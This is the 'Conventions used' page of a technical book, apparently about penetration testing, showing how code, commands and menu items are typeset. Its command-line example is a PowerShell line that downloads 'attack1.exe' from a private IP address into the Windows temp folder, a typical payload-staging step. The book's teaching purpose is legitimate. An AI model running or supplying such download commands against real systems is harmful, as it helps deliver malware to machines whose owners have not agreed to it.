Conventions used

There are a number of text conventions used throughout this book.

Code in text: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: “You can also use from [module] import to pick and choose the attributes you need.”

A block of code is set as follows:

11000000.10101000.01101001.00000000

          Network           Hosts

When we wish to draw your attention to a particular part of a code block, the relevant lines or items are set in bold:

11111111.11111111.11100000.00000000

   255     255      224       0

Any command-line input or output is written as follows:

> (New-Object System.Net.WebClient).DownloadFile(“http://192.168.63.143/attack1.exe”, “c:\windows\temp\attack1.exe”)

Bold: Indicates a new term, an important word, or words that you see onscreen. For instance, words in menus or dialog boxes appear in bold. Here is an example: “Navigate to Hosts | Nmap Scan | Quick Scan (OS detect).”

Tips or Important Notes

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